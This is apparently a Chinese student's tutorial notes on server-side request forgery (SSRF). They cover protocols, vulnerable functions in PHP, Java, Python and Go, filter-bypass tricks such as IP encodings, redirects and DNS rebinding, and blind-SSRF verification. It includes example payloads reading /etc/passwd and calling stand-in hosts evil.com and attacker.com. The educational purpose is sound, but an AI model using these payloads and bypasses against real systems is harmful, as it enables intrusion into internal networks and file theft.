SSRF入门
写在前面:
这几天感觉自己的基础还是不够牢固,所以打算开个大坑,把web安全基础再复习下(希望能坚持下去,最近开的坑有点多,要学的太多了,越来越感觉自己菜了),顺便写点笔记留个学弟学妹,大一大二的时候挺担心自己退役学校CTF就直接消亡了,毕竟一手带我的学长们都是尽力的带我这个小白,现在到了自己变成学长了,感触还是挺多的,虽然大四了,也没有阻止没落这一趋势,但还是打算留点东西,给愿意学的学弟学妹。
吐槽下:
前几天和毕业的学长聊了下,发现一个尴尬的问题,愿意学的学生,不需要你教也会去学,不愿意学的好像我准备再多再详细的课程也没有用,希望走网络安全还是因为热爱,不忘初心吧,再说点别的就是把基础搞好点,在我看来,漏洞挖掘渗透内网虽然是经验一说,但经验这种东西,如果有一个人带你,你会很快拥有他,这个时候基础会决定你的上限。
写的有点乱,基本都是抄的,多总结,多复现就变成自己的了,能抄的补充的,为什么还要自己写呢0.0
SSRF简介
SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
漏洞成因
漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。
一点看法
ssrf也即伪造服务端对访问外部无法访问的系统,ssrf能打的东西比较多,只要能访问内网,协议支持,理论上把内网打穿也是可以的,所以近几年ssrf成了一个热点。
SSRF类型
1、Basic SSRF:返回结果到客户端,如传送一个网址,会返回这个网址的界面或对应的 html 代码,总之就是返回了结果
2、Blind SSRF:和上面正好相反,不会返回结果到客户端,简单分个类吧,和sql注入盲注类似。
- _Boolean-Based:_无论资源是否存在,服务器的回应都是不同的
- _Error-Based:_例如HTTP(404或500),指示资源是否存在
- _Time-Based:_如果无论资源是否存在,服务器的响应都保持不变,响应时间可能会有很大差异。
SSRF利用方式
攻击者可以利用 SSRF 实现的攻击主要有 6 种:
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
- 攻击运行在内网或本地的应用程序(比如溢出)
- 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
- 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
- 利用 file 等协议读取本地文件等
- 跳板攻击打内网,和前面意思差不多,不过拎出来下
SSRF协议介绍
一般来说可以通过ssrf利用一些协议对内网进行一些操作,首先要明确的一个点,对于不同语言实现的web系统可以使用的协议也存在不同的差异,而且相同语言,相同函数的不同版本,可利用的协议也是有区别的,这个得自己去探究。
这里介绍常用的几种协议
这里给出java,php的支持协议区别,可以看到基本上java是不支持gopher的,低版本我记得是支持的,总之java ssrf的扩展面相对会小一些
java,php的支持的协议
1 | php: |
http://
不多说,基本都会
file://
这种URL Schema可以尝试从文件系统中获取文件:
1 | http://example.com/ssrf.php?url=file:///etc/passwd |
如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL 协议就可以绕过这些限制
可以理解下他们的区别,其实很多知识还是看有了经验以后看书理解的更快
file协议与http协议的区别
(1)file协议主要用于读取服务器本地文件,访问的是本地的静态资源
(2)http是访问本地的html文件,简单来说file只能静态读取,http可以动态解析
(3)http服务器可以开放端口,让他人通过http访问服务器资源,但file不可以
(4)file对应的类似http的协议是ftp协议(文件传输协议)
(5)file不能跨域
dict://
dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,
能用来探测端口的指纹信息协议格式:dict://
一般用dict://
例如
1 | http://example.com/ssrf.php?dict://evil.com:1337/ |
sftp://
在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
1 | http://example.com/ssrf.php?url=sftp://evil.com:1337/ |
ldap://或ldaps:// 或ldapi://
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
1 | http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit |
tftp://
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
1 | http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET |
RESP协议
RESP 协议是 redis 服务之间数据传输的通信协议,redis 客户端和 redis 服务端之间通信会采取 RESP 协议
因此我们后续构造 payload 时也需要转换成 RESP 协议的格式
1 | *1 |
其中
1 | *n代表着一条命令的开始,n 表示该条命令由 n 个字符串组成 |
执行成功后服务器会返回 +OK,这个是 redis 服务器对 redis 客户端的响应
gopher://
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
1 | http://example.com/ssrf.php?url=http://attacker.com/gopher.php |
可以看看这篇文章,写的挺好的
利用 Gopher 协议拓展攻击面
系统局限性
经过测试发现 Gopher 的以下几点局限性:
- 大部分 PHP 并不会开启 fopen 的 gopher wrapper
- file_get_contents 的 gopher 协议不能 URLencode
- file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
- PHP 的 curl 默认不 follow 302 跳转
- curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
更多有待补充。
另外,并不限于 PHP 的 SSRF。当存在 XXE、ffmepg SSRF 等漏洞的时候,也可以进行利用。
更多攻击面
基于 TCP Stream 且不做交互的点都可以进行攻击利用,包括但不限于:
- HTTP GET/POST
- Redis
- Memcache
- SMTP
- Telnet
- 基于一个 TCP 包的 exploit
- FTP(不能实现上传下载文件,但是在有回显的情况下可用于爆破内网 FTP)
更多有待补充。
常见例子
1 | Dict:// |
SSRF常见的漏洞函数
php
基本都是调用curl
前置知识:php常用协议
伪协议 | allow_url_fopen | allow_url_incude | 其他说明 |
---|---|---|---|
php://input | on/off | on | 在POST请求中访问POST的data部分,在enctype=”multipart/form-data” 的时候php://input 是无效的。 |
php://filter | on/off | on/off | 常用与读取源码,读取内容经过Base64编码输出 |
file:// | on/off | on/off | 读取本地文件 |
data:// | on | on | 自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。 |
http:// & https:// | on | on/off | 发起http或者https请求 |
gopher:// | on/off | on/off | 使用TCP的70端口,www之前的主流协议,支持发出GET、POST请求。使用要求为 PHP > v5.3, Java JDK < v1.7 |
dict:// | on/off | on/off | |
php ssrf常见函数
1 | curl_exec() |
curl_exec()
可以看看这篇教程所说的
PHP cURL 函数 | 菜鸟教程
PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
PHP中使用cURL实现Get和Post请求的方法
这些函数在PHP 4.0.2中被引入。
1 | curl_exec函数用于执行指定的cURL会话。 |
举个例子,代码如下
1 |
|
我们可以直接利用http协议
这里把简单的几种协议看看,后面就不一一看了,复杂的后面有写到利用
dict一般用法,探活
file_get_contents()
1 | file_get_content函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。 |
对于file_get_contents()函数,它是可以获取文件内容的,我们这里也简单举个栗子来介绍其利用方式
1 |
|
一个绕过的tips
.php?jpg .php#jpg
浅析SSRF与文件读取的一些小特性 - 先知社区
fsockopen()
1 | fsockopen — 打开一个网络连接或者一个Unix套接字连接 |
1 |
|
fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限,传输原始数据。
显然socket是无法读取本地文件的,而且端口限制的话,利用起来就比较麻烦了,其实就是一个socket,理解socket的实现原理差不多就懂了
readfile()
1 | readfile() :输出一个文件的内容。 |
这个利用起来就比较局限了
示例代码
1 |
|
fopen()
1 | fopen() :打开一个文件或者URL |
示例
1 |
|
SoupClient 类
这个就比较CTF了
SOAP是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于XML的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是基于 SOAP 协议可专门用来访问 WEB 服务的 PHP 客户端。
SoapClient 是一个 php 的内置类,当其进行反序列化时,如果触发了该类中的__call
方法,那么 __call
方法便可以发送 HTTP和HTTPS请求,该类的构造函数如下:
1 | public SoapClient :: SoapClient(mixed $wsdl [,array $options]) |
- 第一个参数用来指明是否时 wsdl 模式。
- 第二个参数为一个数组,如果在 wsdl 模式下,此参数可选; 如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location是要将请求发送到的SOAP服务器的 URL ,而 uri 是SOAP 服务的目标命名空间。
知道上述两个参数的含义之后,就很容易构造出 SSRF 的利用 payload 了。我们可以设置第一个参数为 null ,然后第二个参数为一个包含 location 和 uri 的数组,location 选项的值设置为 target_url :
首先测试下正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法
1 |
|
如上图所示,ssrf触发成功,就不复现了,基本上看了下面的文章差不多就懂了
由于它仅限于http/https协议,所以用处不是很大。但是如果这里的http头部还存在crlf漏洞,那么我们就可以进行ssrf+crlf,注入或修改一些http请求头,详情请看:
Session反序列化利用和SoapClient+crlf组合拳进行SSRF - 安全客,安全资讯平台
SoapClient反序列化SSRF
php关于ssrf的一些局限
- 大部分 PHP 并不会开启 fopen 的 gopher wrapper
- file_get_contents 的 gopher 协议不能 URLencode
- file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
- PHP 的 curl 默认不 follow 302 跳转
- curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
java
java网络请求支持的协议
由于Java没有php的cURL,所以Java SSRF支持的协议,不能像php使用curl -V查看。
Java网络请求支持的协议可通过下面几种方法检测:
- 代码中遍历协议
- 官方文档中查看
- import sun.net.www.protocol查看
从import sun.net.www.protocol可以看到,支持以下协议,jar协议比较有意思,不过利用起来感觉比较窄
1 | file ftp mailto http https jar netdoc gopher |
虽然看到有gopher,但是gopher实际在jdk8版本以后被阉割了,jdk7高版本虽然存在,但是需要设置,
具体可以看 https://bugzilla.redhat.com/show_bug.cgi?id=865541
以及http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/8067bdeb4e31
其中每个协议都有一个Handle,Handle定义了这个协议如何去打开一个连接。
java ssrf常见的函数
基本上如果是URLConnection|URL发起的请求,那么对于上文中所提到的所有protocol都支持,但是如果经过二次包装或者其他的一些类发出的请求,一些带http名字的或者Request这种,一般只支持http/https协议,所以java的利用面一般还是比较狭隘的。
1 | HttpURLConnection.getInputStream |
除了建立HTTP协议连接,还可能直接通过 Socket建立连接,因此应该同样关注Socket相关类:
1 | AsynchronousServerSocketChannel.accept/bind |
总之
如果用以下类的方法发起请求,则支持sun.net.www.protocol所有协议
1 | URLConnection |
其它的带http的只支持http/http协议
这里举几个例子
https://github.com/JoyChou93/java-sec-code
可以看看里面的分析
SSRF in JAVA - 贫民窟的艺术家
直接用这个大哥代码来举例了,直接配置就好了,配置看后面吧,这里可以直接看引用
1 | import com.squareup.okhttp.OkHttpClient; |
URLConnection|URL
我们看看代码
1 | public static String URLConnection(String url) { |
可以看到,对于URLConnection来说是支持上述的协议的
HttpURLConnection
那么我们尝试HttpURLConnection看看,我们把实例代码改改
1 | @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET}) |
重点在于HttpURLConnection conn = (HttpURLConnection) urlConnection做了强制转换
1 | public static String HttpURLConnection(String url) { |
可以看到会报错,不支持file协议
http协议是支持的
也印证了前面我们的想法
想了下,每次改太麻烦了,这边直接依葫芦画瓢把接口添加上去即可
httpClient
1 | @RequestMapping(value = "/httpClient/vuln", method = {RequestMethod.POST, RequestMethod.GET}) |
1 | public static String httpClient(String url) { |
request
Request类对HttpClient进行了封装。类似Python的requests库。
1 | @RequestMapping(value = "/request/vuln", method = {RequestMethod.POST, RequestMethod.GET}) |
1 | public static String request(String url) { |
感觉后面太多了,就不一一写了,简单测下就行了
openStream
1 |
|
imageIO
作者加了SecurityUtil.startSSRFHook(),对内网进行判断,这个后面会说一说。
1 | public static void imageIO(String url) { |
okhttp
1 | public static String okhttp(String url) throws IOException { |
commonHttpClient
1 | public static String commonHttpClient(String url) { |
Jsoup
1 | public static String Jsoup(String url) { |
IOUtils
1 | public static void IOUtils(String url) { |
HttpSyncClients
1 | public static String HttpAsyncClients(String url) { |
1 | /ssrf/urlConnection/vuln?url=file:///C:/Windows/win.ini 支持java协议 |
后续函数
后面再说了,其实都差不多,主要是清楚危险函数,对入参做分析,当然危险函数不止上面那些
java关于ssrf的一些局限
- 利用file协议读取文件内容(仅限使用URLConnection|URL发起的请求)
- 利用http 进行内网web服务端口探测
- 利用http 进行内网非web服务端口探测(如果将异常抛出来的情况下)
- 利用http进行ntlmrelay攻击(仅限HttpURLConnection或者二次包装HttpURLConnection并未复写AuthenticationInfo方法的对象)
- java默认是会302跳转 followRedirect
- 实际跳转的url也在限制的协议内
- 传入的url协议必须和重定向的url协议一致
python
Python开发中常用三种http请求方法(pycurl/urllib/requests)。
python ssrf注意的点
重定向
是否默认跟随重定向
- pycurl(不跟随)
- urllib/urllib2/requests(跟随)
默认最大重定向次数
- pycurl(未限制)
- urllib/urllib2(10次)
- requests(30次)
风险点:使用pycurl开启跟随跳转之后,需手动限制最大跳转次数。
1 | c = pycurl.Curl() |
协议支持
1 | requests: |
风险点:未手动限定协议时可导致安全风险(如通过file://造成DoS)
requests
requests就不写了,清楚协议就懂了
urllib.urlopen
urllib2.urlopen
在Python中, urllib并不支持gopher,dict协议,所以按照常理来讲ssrf在python中的危害也应该不大,但是当SSRF遇到CRLF,奇妙的事情就发生了。这个CTF比较常见。
| CVE-2019-9740 (urllib/urllib2 CRLF) | urllib2 in Python 2.x through 2.7.16
urllib in Python 3.x through 3.7.3 |
| — | — |
| CVE-2019-9947 (urllib/urllib2 CRLF) | urllib2 in Python 2.x through 2.7.16
urllib in Python 3.x through 3.7.3 |
1 | import sys |
我这边直接测试SSRF
除开CRLF之外,urllib还有一个鲜有人知的漏洞CVE-2019-9948,该漏洞只影响urllib,范围在Python 2.x到2.7.16,这个版本间的urllib支持local_file/local-file协议,可以读取任意文件,如果file协议被禁止后,不妨试试这个协议来读取文件。
1 | import urllib |
记得国赛有道题patch就是把 urllib.urlopen改查request.get ….
pycurl
python2.7安装pycurl_Janebook的博客-CSDN博客
1 | import urllib |
python ssrf的修复
去hook下
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
go
go的例子很少很少,可以参考下腾讯的代码安全指南,同时也写了SSRF的修复,但毕竟是开发角度,能看的东西不多,重点关注net库。
secguide/Go安全指南.md at main · Tencent/secguide
- 使用”net/http”下的方法http.Get(url)、http.Post(url, contentType, body)、http.Head(url)、http.PostForm(url, data)、http.Do(req)时,如变量值外部可控(指从参数中动态获取),应对请求目标进行严格的安全校验。
- 如请求资源域名归属固定的范围,如只允许a.qq.com和b.qq.com,应做白名单限制。如不适用白名单,则推荐的校验逻辑步骤是:
- 第 1 步、只允许HTTP或HTTPS协议
- 第 2 步、解析目标URL,获取其HOST
- 第 3 步、解析HOST,获取HOST指向的IP地址转换成Long型
- 第 4 步、检查IP地址是否为内网IP,网段有:// 以RFC定义的专有网络为例,如有自定义私有网段亦应加入禁止访问列表。 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 127.0.0.0/8
- 第 5 步、请求URL
- 第 6 步、如有跳转,跳转后执行1,否则绑定经校验的ip和域名,对URL发起请求
net/http
- 使用”net/http”下的方法http.Get(url)、http.Post(url, contentType, body)、http.Head(url)、http.PostForm(url, data)、http.Do(req)时,如变量值外部可控(指从参数中动态获取),应对请求目标进行严格的安全校验。
1 | package main |
其他后面再补
go ssrf判断,修复
Go中的SSRF攻防战-技术圈
nodejs
后面再补,后面看看搞搞nodejs的代码审计,利用面比其他语言要小很多
SSRF常见绕过
一般修复最好是黑名单加白名单
这个看环境,一般来说不太需要绕,要么有漏洞,要么没有,正确修复SSRF,是不会有漏洞的。
本地回环地址的其他表现形式
1 | http://127.0.0.1 |
添加@绕过
平常我们传入的url是url=http://127.0.0.1:8888
,如果
我们传入的url是url=http://qqqqq.com@127.0.0.1:8888
,它此时依旧会访问127.0.0.1
302跳转,dns解析(这种得支持重定向)
网络上存在一个名为sudo.cc的服务,放访问这个服务时,会自动重定向到127.0.0.1
类似的还有
https://sslip.io/
https://nip.io/
当然自己写也可
比如 302.php
1 | <?php |
然后访问之
1 | #dict protocol - 探测Redis |
利用其他协议绕过
file协议等等,前面有介绍
利用Enclosed alphanumerics绕过
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> http://example.com
List:
1 | ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ |
eg:
1 | 1②7.0.0.1 |
linux可行,windows不太行
句号替代.绕过
linux可行,win不太行
1 | curl -i 127。0。0.1 |
省略中间的0
当过滤127.0.0.1整体时,还有一种绕过方式就是省略中间的0,这个时候也是可以访问的
win,linux都可
进制转换
将127.0.0.1进行转换,转换为其他进制的数从而绕过检测
进制转换结果如下
1 | 0177.0.0.1 //八进制 |
对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址我们可以改写成:
1 | 192.168.0.1 |
类型原因举例
1 | 点分十进制IP地址:http://216.58.199.78 |
也可以利用php转换脚本来直接得到结果,脚本如下
1 | <?php |
特殊0
在windows中,0代表0.0.0.0,而在linux下,0代表127.0.0.1,如下所示
用[::]绕过localhost
1 | http://[::]:80/ |
ipv6
即使目标没有连入IPv6网络,但本地系统、内网通常是支持IPv6的,所以不是说没有IPv6外网IP的目标就不能用IPv6的技巧进行测试。
这个点知道了就差不多懂了
1 | curl -i ip6-localhost |
可以看P牛这篇
IPv6 三个访问本地地址的小Tips - 跳跳糖
短网址缩短
本质也是302跳转,没什么好说的
网上有很多将网址转换未短网址的网站。
DNS重绑定
https://lock.cmpxchg8b.com/rebinder.html
http://ceye.io/
dns重绑定这个比较有意思
DNS是Domain Name Service的缩写,计算机域名服务器,在Internet上域名与IP地址之间是一一对应的,域名虽然便于人们记忆,但机器之间只能互相认识IP地址,它们之间的转换工作称为域名解析,而域名解析需要由专门的域名解析服务器来完成,这就是DNS域名服务器。
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS 重绑定攻击。
因为用户端会发起两次请求,所有域名持有者可以修改,也即在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。
攻击过程
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:
服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
对于获得的IP进行判断,发现为非黑名单IP,则通过验证
服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
DNS重绑定这里简单的说就是我们先提供一个ip,然后在服务端进行解析的过程中再传127.0.0.1,此时就可能会出现访问到本地文件的情况
举个栗子,我们设置一个为127.0.0.1,另一个随便写一下
[
ping这个地址,可以发现有两种情况,一种是1.1.1.14,另一种是127.0.0.1
[
主要是ttl为0问题,阿里云默认大于10min
使用国外服务器进行设置
一些国外的服务器是允许TTL为0的,自行搜索
ceye.io
该网站直接有该功能,可以直接使用
对统一域名设置两个A记录
可以对同一个域名设置两个A记录(一个内网、一个外网),这样会random访问两条记录中的一个。但是随机性比较强,不是一定能成功的,需要多次尝试
Use DNS Rebinding to Bypass SSRF in JAVA - 贫民窟的艺术家
给出大哥的总结
- Java默认不存在被DNS Rebinding绕过风险(TTL默认为10)
- PHP默认会被DNS Rebinding绕过
- Linux默认不会进行DNS缓存
内网dns转发请求被拒绝_浅谈DNS重绑定漏洞_weixin_40003478的博客-CSDN博客
利用不存在的协议头绕过指定的协议头
file_get_contents() 函数的一个特性,即当PHP的 file_get_contents() 函数在遇到不认识的协议头的时候会将整个协议头当作文件夹,造成目录穿越漏洞,这时候只需要不断往上跳转目录即可读取到根目录的文件(include()也有这个特定)
测试代码:
1 | // ssrf.php |
上面的代码限制了 url 只能是以 https 开头的路径,那么我们就可以:
1 | httpsssssss:// 1 |
此时file_get_contents() 函数遇到了不认识的伪协议头 “httpssssssss://”,就会把他当作文件夹,然后再配合目录穿越即可读取文件:
1 | ssrf.php?url=httpsssss://../../../../../../etc/passwd |
这个方法可以在SSRF的中众多伪协议被禁止并且只能够使用它规定的某些协议的情况下来进行读取文件
利用URL的解析问题
1 | http://127.1.1.1:80\@127.2.2.2:80/ |
可以看看,比较CTF了,算。。。
该思路来自Orange Tsai成员在2017 BlackHat 美国黑客大会上做的题为《A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages》的分享,主要是利用 readfile 和 parse_url 函数的解析差异以及 curl 和 parse_url 解析差异来进行绕过哦。
绕过过滤不严格
部分开发喜欢写正则去限制,遇到的问题也比较多,比如最常见的就是只判断内容,比如
baidu.com
baidu.com.hacker.com
还有一些其它的,主要看代码怎么写的了
When TLS Hacks You
还是TTL的问题
SSRF安全指北 - 博客 - 腾讯安全应急响应中心
利用DNS缓存和TLS协议将受限SSRF变为通用SSRF - 先知社区
存储桶回源绕过
这东西和前面的类似
此处使用腾讯云存储桶,设置存储桶为静态网站,再添加回源地址,此处的回源地址会限制不允许内网地址,可以通过先解析为外网地址,然后保存后子再修改解析地址为内网地址,就可以成功设置为内网地址的回源。
使用方法:将可能存在ssrf的位置输入该静态网站地址即可
SSRF验证
ssrf主要从后面写的出现点找漏洞,白盒主要针对上述危险函数来分析。然后打DNS就可以了。然后看会不会直接返回的Banner、title、content等信息,没有的话注意bool型SSRF。
所以我们根据上述的类型,可以看看验证方法
Basic SSRF
有回显的SSRF比较简单,就不说了,主要看无回显的
Blind SSRF
和上面正好相反,不会返回结果到客户端,简单分个类吧,和sql注入盲注类似。
- _Boolean-Based:_无论资源是否存在,服务器的回应都是不同的
- _Error-Based:_例如HTTP(404或500),指示资源是否存在
- _Time-Based:_如果无论资源是否存在,服务器的响应都保持不变,响应时间可能会有很大差异。
记得面试某银行安全岗,面试官问过我这个问题,答的不怎么样,因为没接触过过,所以思路比较跳,前面说的这三种常见的倒没回答上来,前面三个类型的话,比较和sql注入类似,
首先我们先用DNS测是否有SSRF,或者burpsuit Collaborator Client模块也可以
对于Boolean,可以用来探测端口等等,或者攻击成功失败回显,具体还得看怎么个布尔法
对于Error,也差不多类似,Time的就看响应时间罢了。
然后面试官最后问了我盲注还限制了只能内网,无法使用DNS,这个点的话,怎么办,
我当时想着可以看看能不能对这个网站自己发起请求,比如增删改查什么东西,这样来证明SSRF,或者针对内网服务。
然后还可以内网打payload,根据响应时间来判断内网资产是否存在。
然后就是注意该IP的其他端口,比如不对公网开放的数据库端口,这个具体看你对整个网络的分析,看看有什么攻击链路没有来证明网络是否存在,这个和前面差不多,但可能有时候会比较好利用一些。
具体结合环境,可以看看这篇
Bool型SSRF的思考与实践 - 跳跳糖
其他我也感觉没啥好办法了emmmmm。
SSRF盲打 & Collaborator everywhere_浔阳江头夜送客丶的博客-CSDN博客_adns盲ssrf
https://github.com/1135/notes/blob/master/web_vul_SSRF.md
云中的SSRF
spiderSilk
利用NodeJS SSRF漏洞获取AWS完全控制权限 - 先知社区
亚马逊EC2主机环境:挖掘Node/Express应用上的SSRF漏洞
SSRF出现点
- 社交分享功能:获取超链接的标题等内容进行显示
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
- 在线翻译:给网址翻译对应网页的内容
- 图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
- 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
- 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
- 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
- 数据库内置功能:数据库的比如mongodb的copyDatabase函数
- 邮件系统:比如接收邮件服务器地址
- 编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
- 未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
或者另外一个老哥分享的
- 分享功能,通过 URL 地址分享网页内容早期分享应用中,为了更好的提供用户体验,WEB应用在分享功能中,通常会获取目标URL地址网页内容中的标签或者标签中content的文本内容作为显示以提供更好的用户体验
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务
- 在线翻译:通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等
- 图片加载与下载:通过URL地址加载或下载图片图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。(开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所以就可能造成SSRF问题)
- 图片、文章收藏功能
此处的图片、文章收藏中的文章收藏就类似于功能一、分享功能中获取URL地址中title以及文本的内容作为显示,目的还是为了更好的用户体验,而图片收藏就类似于功能四、图片加载 - 未公开的api实现以及其他调用URL的功能此处类似的功能有360提供的网站评分,以及有些网站通过api获取远程地址xml文件来加载内容。
- 数据库内置功能:数据库的比如mongodb的copyDatabase函数
- 邮件系统:比如接收邮件服务器地址
- 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
- 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
- 一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
- 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
- web钩子:寻找触发特定事件时发出http请求的服务。在大多数web钩子的功能中,终端用户可以选择他们的终端点和主机名。尝试向内部服务发送http请求。
- 文档解析器:尝试了解文档是如何被解析的。如果是XML文档,那就是用了PDF生成器方法。对于其他文档,检查是否存在引用外部资源的方法然后通过服务器向内部服务发送请求。
- 链接扩展: 最近Mark Litchfield在推特扩展链接上发现了漏洞,名声大涨。
- 文件上传:与常规上传文件相反,尝试发送url请求然后检查是否下载了url的内容。例子
- PDF生成器:试着注入指向内部服务的